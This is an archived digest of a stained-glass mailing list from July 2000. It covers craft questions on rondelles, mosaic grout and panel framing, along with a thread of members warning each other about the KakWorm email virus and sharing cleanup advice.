University of Oregon
Library Personnel Services
soleim@oregon.uoregon.edu
<><><><><><><><><><><><><><><>


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From owner-glass Tue Jul 11 14:10:31 2000
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	for rglass-42; Tue, 11 Jul 2000 13:54:22 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: kak worm???
Date: Thu, 05 Nov 1998 00:04:19 -0800
Message-ID: <1998Nov4.16419.0>
References: <<200007111601.MAA23418@alpha.nad.adelphia.net>>
Precedence: bulk

I think that one of those danged blank emails cane thu with the kak
worm!!!   It was:
 
Trumpet vine ("Doris L. Anastasion" , 7/11/00 9:51)
To: 
    <glass@bungi.com>

I only looked at it in View/Source but seems to have picked up some info
from my machine already - only have some vague recolections about
warnings about this thing - are there any pc wizzes out there familar?

I hope I'm bloody wrong!!!!!  That is all we need right Now!!!!!!

Geneva

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From owner-glass Tue Jul 11 14:32:06 2000
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	for rglass-42; Tue, 11 Jul 2000 14:12:04 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: aol.com!CWicks6159
From: CWicks6159@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Website benefits
Date: Tue, 11 Jul 2000 17:07:40 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Good morning out there.  I would appreciate feedback from anyone who has 
tried to market their art across.  Something tells me this subject was 
discussed once before but I can't find a copy of the discussion.

I have an opportunity to have a website/6 page created for me for nearly 
nothing.  My costs would be the updates on the projects I've completed and 
want to market and the monthly recurring charge and license fee for the 
domain registration.  Being just a little fish in the sea, I haven't ventured 
that way due to the cost factor and was it worth the time and expense.

Could anybody give me feedback from their personal experience using the net 
to market their product.  I need to give a response back by tomorrow morning, 
even though I just was offered this deal today.

Thanks in advance to anyone who would help me on this.

Cyndie Wicks
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From owner-glass Tue Jul 11 14:32:58 2000
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	for rglass-42; Tue, 11 Jul 2000 14:12:17 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Gailchat1@aol.com
Subject: Re: Rondelles
Date: Tue, 11 Jul 2000 20:16:39 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

As I understand it, the rough side traditionally is always placed to the
inside of the window.  This avoids the dirt and grime collection from
the outside forming in the rough portions of the window.  If the window
is being glazed behind another sheet of glass, this consideration is no
longer relevant.  So, you can put it any way round that you like.

I am trying to get householders interested in glass that has projections
into the weather.  We have so much rain in Glasgow, that it seems it
would be interesting to have the rain run down the window in controlled
patterns.  No one has taken me up on it yet though.

Steve

In message <1970Jan1.000.0@?>, Gailchat1@aol.com writes
>Forgive me if this is a duplicate posting, not sure if first one went thru...
>
>I am going to be incorporating 4 rondelles into a victorian design. I have 
>never used rondelles before.  My husband and I disagree as to which side is 
>the right (best)side of the rondelle.  We are making a panel with English 
>Muffle glass, and I want the rondelle's non apexed side facing out...my 
>husband thinks it should go apex side out.  We are using antique rondelles, 
>and the nippled apex seems very rough. I think the rondelle is best viewed 
>from the flat side.  Can you advise?
>Thanks.......
>Ronda
>----
>For subscription changes, please mail to: glass-request@bungi.com
>To send to the list,      please mail to: glass@bungi.com
>Archives available at http://www.bungi.com/glass

-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
----
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From owner-glass Tue Jul 11 14:42:03 2000
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	for rglass-42; Tue, 11 Jul 2000 14:13:08 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: juno.com!pkinnetz
From: Peggy L Kinnetz <pkinnetz@juno.com>
To: glass@bungi.com
Content-Type: text/plain
Subject: Mosiacs
Date: Mon, 10 Jul 2000 19:35:31 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Okay friends, 
 
My question is coming from a complete absence of knowledge (well almost).
 I have done some mosiacs before, where I glued the tiles and glass onto
plywood, and then grouted them. My question is coming from a mind
wandering: I have been tinkering around with the notion of "painting with
glass" in the sense of color gradations much like painting. Of course in
paint you mix the colors but the only way to do this in glass is to put
closely colored pieces together to make the eye think there is a gradual
change in the color. The best way to achieve this is to allow as little
space as possible between the tiles.  If I left out the grout, the tiles
could even be closer. 

So the question is do I need the grout to "hold in" the tiles after
gluing them on. Is the grout optional? Or is it necessary to the strength
and long life of the piece? 

What do you all think?

Peggy
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From owner-glass Tue Jul 11 15:04:09 2000
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	for rglass-42; Tue, 11 Jul 2000 14:45:28 -0700 (PDT)
	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: obc.net!snielsen
From: Sue Nielsen <snielsen@obc.net>
To: Glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Virus from this list
Date: Tue, 11 Jul 2000 16:56:05 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I just want to warn people who are using outlook express as their mail
server that I received the kakworm virus off this list today.  I'm a
Netscape user and have an updated virus protection installed so it
warned me immediately.

I deleted the post as quick as I could but the subject was "Trumpet
Vines"
I do not think the sender realized there was a virus attached.
Be careful and make sure your virus protection is updated frequently.

I'm new here and lurking but value the information I get from this list,
thank you everyone!
Sue-MI

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From owner-glass Tue Jul 11 15:06:45 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: pacifier.com!ptap
From: Pamela Burns-Tappan <ptap@pacifier.com>
To: "glass@bungi.com" <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: kak worm
Date: Tue, 11 Jul 2000 11:32:15 -0700
Message-ID: <1970Jan1.000.0>
Organization: Stained Glass Artists
Precedence: bulk


Yes, do believe your right. I had the worm this morning and spent the
better part of the day running Norton and making sure my puter was fine.
Had to install Netscape inbox again but other than that I'm good to go.

Pam



--

Ms. Pamela Burns-Tappan
Executive Director
The Stained Glass Artists
http://stainedglassartists.com
A Division of: Moswood Mountain Ltd.
http://moswoodmountainltd.com


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From owner-glass Tue Jul 11 15:35:02 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: esavad@home.net
Content-Type: text/plain; charset=us-ascii
Subject: Re: kak worm???
Date: Thu, 05 Nov 1998 01:30:52 -0800
Message-ID: <1998Nov4.173052.0>
References: <<IHEPLLEBDHGGBLOOGMFICEPCCEAA.esavad@home.net>>
Precedence: bulk

Don't use a VScan Mike - machine is too small - lol!  Just found an
deleted 3 entries in registry.  Will read up on it.

View/Source of that email is pretty interesting reading - if you want to
see how a trojan is set up :o) - he he.  There are also clues on how to
get rid of it - by hand.....  This, BTW, is the only one I've heard  of
that doesn't come in an attachment - and doesn't need, I think, to even
be opened!!  Hope it is as tame as you say.

Geneva



Mike Savad wrote:
> 
> as far as i know, it simply sends itself to everyone. you should get norton
> antivirus, it will clear it right up and warn ou when it comes in. i've
> notified here today, thoguh i bet she'll be getting dozens of emails about
> it.
> 
> ---Mike Savad
> 
> Mike's Stained Glass - Tips Tricks Photos
> http://www.geocities.com/Paris/1141
> 4-6-2000 New Pages Added: 1 new tip page: Help buying stained glass, updated
> info on the about me page, and 3 window set's for skycity. Including lot's
> of new links, and more FREE PATTERN links.
> 
> > -----Original Message-----
> > From: Ken & Geneva Pepper [mailto:bitsie@jps.net]
> > Sent: Thursday, November 05, 1998 3:04 AM
> > To: glass@bungi.com
> > Subject: kak worm???
> >
> >
> > I think that one of those danged blank emails cane thu with the kak
> > worm!!!   It was:
> >
> > Trumpet vine ("Doris L. Anastasion" , 7/11/00 9:51)
> > To:
> >     <glass@bungi.com>
> >
> > I only looked at it in View/Source but seems to have picked up some info
> > from my machine already - only have some vague recolections about
> > warnings about this thing - are there any pc wizzes out there familar?
> >
> > I hope I'm bloody wrong!!!!!  That is all we need right Now!!!!!!
> >
> > Geneva
> >
> > ----
> > For subscription changes, please mail to: glass-request@bungi.com
> > To send to the list,      please mail to: glass@bungi.com
> > Archives available at http://www.bungi.com/glass

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From owner-glass Tue Jul 11 15:36:17 2000
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X-Path: ilnk.com!andor
From: "Linda Jo Letscher" <andor@ilnk.com>
To: "Steve Richard" <s.richard@verrier-scotland.demon.co.uk>
Subject: Re: frames for hanging of panels
Date: Tue, 11 Jul 2000 15:58:22 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Steve,
I just personally would frame in zinc and then in wood.  The way I do my
wood, it isn't going to come apart.  I do zinc because I feel comfortable
doing it that way.  But I do know folks that just frame in wood and bypass
the zinc.  Different strokes for different folks.
Eljay
-----Original Message-----
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Linda Jo Letscher <andor@ilnk.com>
Cc: glass@bungi.com <glass@bungi.com>
Date: Tuesday, July 11, 2000 3:30 PM
Subject: frames for hanging of panels


>I'll enter this discussion with a little question.  Why should wood
>frame joints be any stronger than zinc ones?
>        My answer is that they aren't necessarily.
>
>If I have a large or heavy panel to be hung, I do not rely on rings
>soldered to the zinc.  In fact I don't rely on rings soldered to the
>lead or zinc at all (I'll come back to that).
>
>A large or heavy panel requires sufficient support for its weight.  So I
>choose twisted brass wire of sufficient strength to support the weight
>for a period of many years (i.e., a lot of redundancy is built into the
>assessment of strength required).  As the weight "resides" at the bottom
>of the panel, I place the brass wire in the channel of the H came all
>the way round the bottom and sides.  It then emerges from the sides at
>the top of the panel (it does not go round the top).  I solder the brass
>wire in a loop of the required length and hide it in the came.  I then
>fold the came together to make a neat edge to the panel on all four
>sides.  This provides the required strength, is simple and quick to do,
>does away with the need for zinc (that nasty horrible stuff so many
>people feel is essential to the strength of their panels.  The panels
>need support across their width and height, not at the perimeter.
>Enough ranting)
>
>        Wood frames may aesthetically pleasing, but are not certainly
>strong, unless made with sufficient width and depth for the weight.
>Then they are often obtrusive.
>
>Soldering rings onto panels of what ever construction is asking for
>problems unless they are done with a supporting line of wire down the
>side of the came.  Copper or brass wire will do, as they both take
>solder for joining to lead or zinc.  Why work with zinc, when a
>perfectly good support can be made by running wire or chain all the way
>round the panel?
>
>I await your disagreements.
>:_)
>
>Steve
>
>In message <1970Jan1.000.0@?>, Linda Jo Letscher <andor@ilnk.com> writes
>>Dee,
>>If it is just going to hang, not supported in a widow jam or something, I
>>would have used 1" zinc, but I don't think I would trust just the 1/2 zinc
>>or to be honest even the 1" zinc with a 2x5 panel that weighs 25 pounds.
>>Personally I would frame around the zinc with wood.  But I do my own wood
>>framing.  You have spent a lot of time on this  and you sure don't what
your
>>piece of art to give way at one of the 4 corners and drop.  Also something
>>to think about, are you going to solder rings on to hang by and will just
>>rings soldered on hold that much weight?  I have had a 14"x56" sidlight
that
>>I had hanging
>>give way at where the ring was soldered to the panel, lucky for me I
noticed
>>when I walked by and it was hanging from just one corner.  I had moved it
>>from the window to hanging for a while, and now it is back installed in
the
>>sidelight.
>>Eljay
>>-----Original Message-----
>>From: DeeDee1008@aol.com <DeeDee1008@aol.com>
>>To: glass@bungi.com <glass@bungi.com>
>>Date: Tuesday, July 11, 2000 1:52 AM
>>Subject: frame
>>
>>
>>>I have done a panel in copper foil with much reinforcement throughout the
>>>window.  The size is approx 2 ft by 5 ft and weighs 25 lbs.  I have
framed
>>it
>>>in 1/2 inch zinc came and hope that will be strong enough to hold its
>>weight.
>>> However, I have been recommended to frame it in wood, as well.  Is this
>>>really necessary?  I do not want
>>>to, but I aslo do not want to repair it should it fall someday.  I feel
the
>>>piece is well  made and strong, and expect the wood frame is not
required.
>>>But...... what do you think??? Thanks to all for helping by responding.
>>Dee
>>>----
>>>For subscription changes, please mail to: glass-request@bungi.com
>>>To send to the list,      please mail to: glass@bungi.com
>>>Archives available at http://www.bungi.com/glass
>>
>>
>>----
>>For subscription changes, please mail to: glass-request@bungi.com
>>To send to the list,      please mail to: glass@bungi.com
>>Archives available at http://www.bungi.com/glass
>
>--
>Steve Richard
>Verrier Art Glass Ltd
>s.richard@verrier-scotland.demon.co.uk


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From owner-glass Tue Jul 11 16:04:02 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: Proudly Manufactured in the USA
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Tue, 11 Jul 2000 18:02:23 +0000
Message-ID: <200007112159.RAA23013@alpha.nad.adelphia.net>
Precedence: bulk

>         Is there any method of holding these suppliers to account
>         for
> their deception?

Sure, find out who they are, tell them you're wise to what they're 
doing, and refuse to buy from them. Businessmen respond very nicely 
to threats to their bottom line. <smile> 

Albert
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From owner-glass Tue Jul 11 16:07:03 2000
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X-Path: alpha.nad.adelphia.net!alewis
From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: kak worm??? Yes, it's Real
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Tue, 11 Jul 2000 18:02:23 +0000
Message-ID: <200007112159.RAA13219@alpha.nad.adelphia.net>
Precedence: bulk


> I think that one of those danged blank emails cane thu with the kak
> worm!!!   It was:
> 
> Trumpet vine ("Doris L. Anastasion" , 7/11/00 9:51)


Yeah, my virus screening software (Norton) caught it, too. It's real, 
all right, and there's a fix. Go to http://symantec.com and search on 
Kak Worm. Or go to http://www.cai.com/press/2000/01/wscript_kak.htm - 
the Computer Associates site. It's not Doris' fault, though; I'd be 
surprised if she even knew she'd passed it along from someone else 
who'd probably unknowingly passed it to her.

Happily, my Norton thing cleaned it up fine. Computer Associates says 
"'Wscript.Kak' spreads through e-mail using Outlook Express 5.0 on
Windows98 systems only. Microsoft and Symantec say the same thing, 
but add Internet Explorer as a carrier.  I don't use either, so while 
it came onto my system, Norton whisked it off.

Apparently it's been around since late late 1999, but it's just 
showing up here. On the first of the month at 5:00 p.m. it'll give a 
message, "Kagou-Anti-Kro$oft says not today !" ... then it'll shut 
down Windows.

"Since the user doesn't even have to open the attachment for
  the worm to be executed, this has the potential to spread rapidly
  and quietly. CA is urging both business and home users to be
  conscientious in deploying powerful and reliable antivirus software
  to protect their systems," say Computer Associates. They then urge 
you to buy *their anti-virus software. That's fair. <smile>

You should have *something in place. Norton or CA or *something. Too 
many bright high-school kids with computer access and too much time 
on their hands, it seems.

Albert
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From owner-glass Tue Jul 11 16:17:16 2000
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X-Path: home.net!esavad
From: "Mike Savad" <esavad@home.net>
To: <CWicks6159@aol.com>,
Content-Type: text/plain;
Subject: RE: Website benefits
Date: Tue, 11 Jul 2000 18:01:41 -0400
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

i've set up my site http://www.geocities.com/Paris/1141/ to be helpfull to
other artists, even stating on my page ( i think), that i don't sell
anything), people still came up and asked for stuff.

it needs to have good examples of your work. and of course 6 pages is very
small, you can easily make up your own site for free, and it can be much
larger. plus it won't look like everyone elses. the page also needs to rank
high in the engines (which is fairly hard to do btw), in order for anyone to
even know the site exists.


---Mike Savad


Mike's Stained Glass - Tips Tricks Photos
http://www.geocities.com/Paris/1141
4-6-2000 New Pages Added: 1 new tip page: Help buying stained glass, updated
info on the about me page, and 3 window set's for skycity. Including lot's
of new links, and more FREE PATTERN links.



> -----Original Message-----
> From: CWicks6159@aol.com [mailto:CWicks6159@aol.com]
> Sent: Tuesday, July 11, 2000 5:08 PM
> To: glass@bungi.com
> Subject: Website benefits
>
>
> Good morning out there.  I would appreciate feedback from anyone who has
> tried to market their art across.  Something tells me this subject was
> discussed once before but I can't find a copy of the discussion.
>
> I have an opportunity to have a website/6 page created for me for nearly
> nothing.  My costs would be the updates on the projects I've
> completed and
> want to market and the monthly recurring charge and license fee for the
> domain registration.  Being just a little fish in the sea, I
> haven't ventured
> that way due to the cost factor and was it worth the time and expense.
>
> Could anybody give me feedback from their personal experience
> using the net
> to market their product.  I need to give a response back by
> tomorrow morning,
> even though I just was offered this deal today.
>
> Thanks in advance to anyone who would help me on this.
>
> Cyndie Wicks
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Tue Jul 11 16:18:09 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: virus effect?
Date: Tue, 11 Jul 2000 15:42:22 -0700
Message-ID: <1970Jan1.000.0>
Organization: weaver51@teleport.com
Precedence: bulk

what will be the effect of the kakworm virus

how will it show......I do not have my virus checker currently installed.
How will I know if I have it?
It was not an attachment, as I do not open any of them!

guess I had better and then up-date?

H
weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Tue Jul 11 16:32:09 2000
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X-Path: home.net!esavad
From: "Mike Savad" <esavad@home.net>
To: "Ken & Geneva Pepper" <bitsie@jps.net>,
Content-Type: text/plain;
Subject: RE: kak worm???
Date: Tue, 11 Jul 2000 17:59:18 -0400
Message-ID: <1970Jan1.000.0>
References: <<1998Nov4.16419.0>>
Precedence: bulk

as far as i know, it simply sends itself to everyone. you should get norton
antivirus, it will clear it right up and warn ou when it comes in. i've
notified here today, thoguh i bet she'll be getting dozens of emails about
it.


---Mike Savad


Mike's Stained Glass - Tips Tricks Photos
http://www.geocities.com/Paris/1141
4-6-2000 New Pages Added: 1 new tip page: Help buying stained glass, updated
info on the about me page, and 3 window set's for skycity. Including lot's
of new links, and more FREE PATTERN links.



> -----Original Message-----
> From: Ken & Geneva Pepper [mailto:bitsie@jps.net]
> Sent: Thursday, November 05, 1998 3:04 AM
> To: glass@bungi.com
> Subject: kak worm???
>
>
> I think that one of those danged blank emails cane thu with the kak
> worm!!!   It was:
>
> Trumpet vine ("Doris L. Anastasion" , 7/11/00 9:51)
> To:
>     <glass@bungi.com>
>
> I only looked at it in View/Source but seems to have picked up some info
> from my machine already - only have some vague recolections about
> warnings about this thing - are there any pc wizzes out there familar?
>
> I hope I'm bloody wrong!!!!!  That is all we need right Now!!!!!!
>
> Geneva
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

----
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From owner-glass Tue Jul 11 17:06:00 2000
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X-Path: jps.net!bitsie
From: Ken & Geneva Pepper <bitsie@jps.net>
To: esavad@home.net
Content-Type: text/plain; charset=us-ascii
Subject: Re: kak worm???
Date: Tue, 11 Jul 2000 05:31:52 -0700
Message-ID: <1970Jan1.000.0>
References: <<IHEPLLEBDHGGBLOOGMFICEPCCEAA.esavad@home.net>>
Precedence: bulk

Don't use a VScan Mike - machine is too small - lol!  Just found an
deleted 3 entries in registry.  Will read up on it.

View/Source of that email is pretty interesting reading - if you want to
see how a trojan is set up :o) - he he.  There are also clues on how to
get rid of it - by hand.....  This, BTW, is the only one I've heard  of
that doesn't come in an attachment - and doesn't need, I think, to even
be opened!!  Hope it is as tame as you say.

Geneva


Mike Savad wrote:
> 
> as far as i know, it simply sends itself to everyone. you should get norton
> antivirus, it will clear it right up and warn ou when it comes in. i've
> notified here today, thoguh i bet she'll be getting dozens of emails about
> it.
> 
> ---Mike Savad
> 
> Mike's Stained Glass - Tips Tricks Photos
> http://www.geocities.com/Paris/1141
> 4-6-2000 New Pages Added: 1 new tip page: Help buying stained glass, updated
> info on the about me page, and 3 window set's for skycity. Including lot's
> of new links, and more FREE PATTERN links.
>

----
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From owner-glass Tue Jul 11 17:11:21 2000
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	(Smail-3.2.0.94 1997-Apr-22 #320 built 2000-Jul-10)
X-Path: netconnect.com.au!anniekg
From: "Annie" <anniekg@netconnect.com.au>
To: "Ken & Geneva Pepper" <bitsie@jps.net>,
Content-Type: text/plain;
Subject: kak worm fix
Date: Wed, 12 Jul 2000 09:18:38 +1000
Message-ID: <1970Jan1.000.0>
References: <<1998Nov4.16419.0>>
Precedence: bulk

Hello all,

I had the worm months ago and had to get rid of it.  If you have it you can
find it by searching your file system for the work kak.

START MENU
FILES
FILES OR FOLDERS
Under name type "kak" (without the quotation marks) and click FIND NOW

If anything comes up like kak.htm or the like you have the virus.  There are
usually 4 files this virus deposits on your computer.

If you have the virus anyone you have emailed may have it also.

Norton and McAffee etc clean the part of the virus that is dangerous, but it
also registers itself in the windows registry and they don't get rid of
that.  I have a program called kak cleaner I'm happy to send out to anyone
who wants it.  It works a treat.  It also has a link included in the program
where you can go and download a security fix so that you will never be
reinfected with this virus.

Email me at anniekg@netconnect.com.au if you would like a copy.  It's about
722KB in size.  I will try to locate the site where I got the file for those
who can't receive large email attachments.

Cheers
Annie


----- Original Message -----
From: Ken & Geneva Pepper <bitsie@jps.net>
To: <glass@bungi.com>
Sent: Thursday, 5 November 1998 6:04 PM
Subject: kak worm???


> I think that one of those danged blank emails cane thu with the kak
> worm!!!   It was:
>
> Trumpet vine ("Doris L. Anastasion" , 7/11/00 9:51)
> To:
>     <glass@bungi.com>
>
> I only looked at it in View/Source but seems to have picked up some info
> from my machine already - only have some vague recolections about
> warnings about this thing - are there any pc wizzes out there familar?
>
> I hope I'm bloody wrong!!!!!  That is all we need right Now!!!!!!
>
> Geneva
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

----
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From owner-glass Tue Jul 11 17:39:05 2000
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X-Path: verrier-scotland.demon.co.uk!s.richard
From: Steve Richard <s.richard@verrier-scotland.demon.co.uk>
To: Linda Jo Letscher <andor@ilnk.com>
Subject: frames for hanging of panels
Date: Tue, 11 Jul 2000 20:09:13 +0100
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0@?>>
Precedence: bulk

I'll enter this discussion with a little question.  Why should wood
frame joints be any stronger than zinc ones?
        My answer is that they aren't necessarily.  

If I have a large or heavy panel to be hung, I do not rely on rings
soldered to the zinc.  In fact I don't rely on rings soldered to the
lead or zinc at all (I'll come back to that).

A large or heavy panel requires sufficient support for its weight.  So I
choose twisted brass wire of sufficient strength to support the weight
for a period of many years (i.e., a lot of redundancy is built into the
assessment of strength required).  As the weight "resides" at the bottom
of the panel, I place the brass wire in the channel of the H came all
the way round the bottom and sides.  It then emerges from the sides at
the top of the panel (it does not go round the top).  I solder the brass
wire in a loop of the required length and hide it in the came.  I then
fold the came together to make a neat edge to the panel on all four
sides.  This provides the required strength, is simple and quick to do,
does away with the need for zinc (that nasty horrible stuff so many
people feel is essential to the strength of their panels.  The panels
need support across their width and height, not at the perimeter.
Enough ranting)

        Wood frames may aesthetically pleasing, but are not certainly
strong, unless made with sufficient width and depth for the weight.
Then they are often obtrusive.

Soldering rings onto panels of what ever construction is asking for
problems unless they are done with a supporting line of wire down the
side of the came.  Copper or brass wire will do, as they both take
solder for joining to lead or zinc.  Why work with zinc, when a
perfectly good support can be made by running wire or chain all the way
round the panel?  

I await your disagreements.
:_)

Steve

In message <1970Jan1.000.0@?>, Linda Jo Letscher <andor@ilnk.com> writes
>Dee,
>If it is just going to hang, not supported in a widow jam or something, I
>would have used 1" zinc, but I don't think I would trust just the 1/2 zinc
>or to be honest even the 1" zinc with a 2x5 panel that weighs 25 pounds.
>Personally I would frame around the zinc with wood.  But I do my own wood
>framing.  You have spent a lot of time on this  and you sure don't what your
>piece of art to give way at one of the 4 corners and drop.  Also something
>to think about, are you going to solder rings on to hang by and will just
>rings soldered on hold that much weight?  I have had a 14"x56" sidlight that
>I had hanging
>give way at where the ring was soldered to the panel, lucky for me I noticed
>when I walked by and it was hanging from just one corner.  I had moved it
>from the window to hanging for a while, and now it is back installed in the
>sidelight.
>Eljay
>-----Original Message-----
>From: DeeDee1008@aol.com <DeeDee1008@aol.com>
>To: glass@bungi.com <glass@bungi.com>
>Date: Tuesday, July 11, 2000 1:52 AM
>Subject: frame
>
>
>>I have done a panel in copper foil with much reinforcement throughout the
>>window.  The size is approx 2 ft by 5 ft and weighs 25 lbs.  I have framed
>it
>>in 1/2 inch zinc came and hope that will be strong enough to hold its
>weight.
>> However, I have been recommended to frame it in wood, as well.  Is this
>>really necessary?  I do not want
>>to, but I aslo do not want to repair it should it fall someday.  I feel the
>>piece is well  made and strong, and expect the wood frame is not required.
>>But...... what do you think??? Thanks to all for helping by responding.
>Dee
>>----
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>
>
>----
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-- 
Steve Richard
Verrier Art Glass Ltd
s.richard@verrier-scotland.demon.co.uk
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From owner-glass Tue Jul 11 18:37:43 2000
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From: Bobfuses@aol.com
To: s.richard@verrier-scotland.demon.co.uk, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Rondelles
Date: Tue, 11 Jul 2000 21:00:26 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 7/11/00 2:34:06 PM Pacific Daylight Time, 
s.richard@verrier-scotland.demon.co.uk writes:

> I am trying to get householders interested in glass that has projections
>  into the weather.  We have so much rain in Glasgow, that it seems it
>  would be interesting to have the rain run down the window in controlled
>  patterns.  No one has taken me up on it yet though.
>  
>  Steve

What an impressive idea! To bad here in San Diego County we are lucky to 
average eleven inches of rain a year.


Cheers, Bob in 9 2 0 2 6
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From owner-glass Tue Jul 11 18:39:14 2000
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X-Path: home.com!lorley
From: Lorley Oneyear <lorley@home.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: square
Date: Tue, 11 Jul 2000 18:01:19 -0700
Message-ID: <4.3.2.7.2.20000711175509.00aa07c0@mail.rdc1.az.home.com>
Precedence: bulk

Hello, I'm planning on doing a floral panel for a window in one of my 
bathrooms. It's high above the tub and approx 10 high and 46" wide. I made 
a cardboard template of the opening and discovered that the opening sags a 
bit in the middle area of the window. Should I make my window a bit smaller 
so it is square? Or if I make it a bit smaller in the middle will my zinc 
frame be able to "bend" just a bit? (maybe 1/4" difference)

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From owner-glass Tue Jul 11 20:08:23 2000
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X-Path: teleport.com!weaver51
From: "Howard" <weaver51@teleport.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: kak worm???
Date: Tue, 11 Jul 2000 17:40:56 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: weaver51@teleport.com
Precedence: bulk

Just did a "KAK" search on my main "c" drive and came up with NOTHING!

means OK?


weaver51@teleport.com
Elaine and Howard
best lamps on the "net":
http://www.teleport.com/~cbs/howard

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From owner-glass Tue Jul 11 21:10:40 2000
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From: "jivvy" <webmaster@freegraphics.com>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: NG: Kak Cleaner URL
Date: Tue, 11 Jul 2000 23:03:56 -0400
Message-ID: <1970Jan1.000.0>
Precedence: bulk

Following Annie's lead, I just picked up Kak Cleaner at
http://www.getvirushelp.com/Kak/ -- you can also follow a link
there to receive the patch to protect against future
infestations.

Claire
-------
GlassJumps.com
http://www.glassjumps.com/
Links to 100+ Glass Resources

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From owner-glass Tue Jul 11 21:15:18 2000
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X-Path: netconnect.com.au!anniekg
From: "Annie" <anniekg@netconnect.com.au>
To: "Howard" <weaver51@teleport.com>,
Content-Type: text/plain;
Subject: Re: kak worm???
Date: Wed, 12 Jul 2000 13:57:08 +1000
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

If C is your boot drive you should be OK.  It might be worth running a
search on all drives just to be sure.

Cheers
Anne
----- Original Message -----
From: Howard <weaver51@teleport.com>
To: <glass@bungi.com>
Sent: Wednesday, 12 July 2000 10:40 AM
Subject: Re: kak worm???


> Just did a "KAK" search on my main "c" drive and came up with NOTHING!
>
> means OK?
>
>
> weaver51@teleport.com
> Elaine and Howard
> best lamps on the "net":
> http://www.teleport.com/~cbs/howard
>
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
>

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From owner-glass Tue Jul 11 21:35:41 2000
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X-Path: netconnect.com.au!anniekg
From: "Annie" <anniekg@netconnect.com.au>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Kak worm fix
Date: Wed, 12 Jul 2000 09:37:34 +1000
Message-ID: <1970Jan1.000.0>
References: <<200007112159.RAA13219@alpha.nad.adelphia.net>>
Precedence: bulk

http://www.pchell.com/internet/kakworm.shtml

Here is the link to the kak cleaner.

There are a heap of instructions on how to manually remove the virus then at
the bottom a link to download the kak cleaner.

The best advice of course it to get a virus protection program that has the
capacity to scan email such as Norton or McAffee and keep up with the virus
update data files at least monthly.

If you think you have the virus please send this link to everyone on your
email list you may have infected.  After you have cleaned your system of
course.  :)

Cheers
Anne

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From owner-glass Tue Jul 11 21:44:41 2000
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X-Path: netconnect.com.au!anniekg
From: "Annie" <anniekg@netconnect.com.au>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Kak worm fix
Date: Wed, 12 Jul 2000 14:01:36 +1000
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I sent this earlier but it doesn't seem to have gone through:

> http://www.pchell.com/internet/kakworm.shtml
>
> Here is the link to the kak cleaner.
>
> There are a heap of instructions on how to manually remove the virus then
at
> the bottom a link to download the kak cleaner.
>
> The best advice of course it to get a virus protection program that has
the
> capacity to scan email such as Norton or McAffee and keep up with the
virus
> update data files at least monthly.
>
> If you think you have the virus please send this link to everyone on your
> email list you may have infected.  After you have cleaned your system of
> course.  :)

The kak cleaner will not keep your system clean it will simply clean the
virus once you are already infected.  There is a downloadable security bug
fix from microsoft available to (apparently) stop Outlook becoming infected
by kak in the future.  The link to this fix can be found at the above link
also.
>
> Cheers
> Anne
>


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From owner-glass Tue Jul 11 22:24:02 2000
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X-Path: ghostman.com!candy
From: "Candy" <candy@ghostman.com>
